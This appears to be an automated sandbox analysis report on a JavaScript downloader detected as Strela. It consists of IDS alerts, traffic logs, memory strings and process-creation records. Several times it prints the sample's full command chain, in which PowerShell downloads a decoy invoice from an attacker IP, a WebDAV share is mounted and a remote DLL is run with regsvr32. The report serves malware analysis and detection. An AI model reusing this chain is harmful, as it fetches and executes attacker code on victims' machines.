Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2132751795.0000018D4BCBD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2132069245.0000018D4DA6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2220161174.0000026F13F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2219431079.0000026F13F6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2220220205.0000026F13F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#-
Source: net.exe, 00000007.00000003.2219431079.0000026F13F6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2220220205.0000026F13F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/W-W
Source: net.exe, 00000007.00000002.2220161174.0000026F13F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3424013548.000001CE4EE0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2225238262.000001CE4EC80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5956, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 7605302032554420656.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2940:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urqsowld.y23.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1644,i,5404346436032422995,13302890609983779692,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1644,i,5404346436032422995,13302890609983779692,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
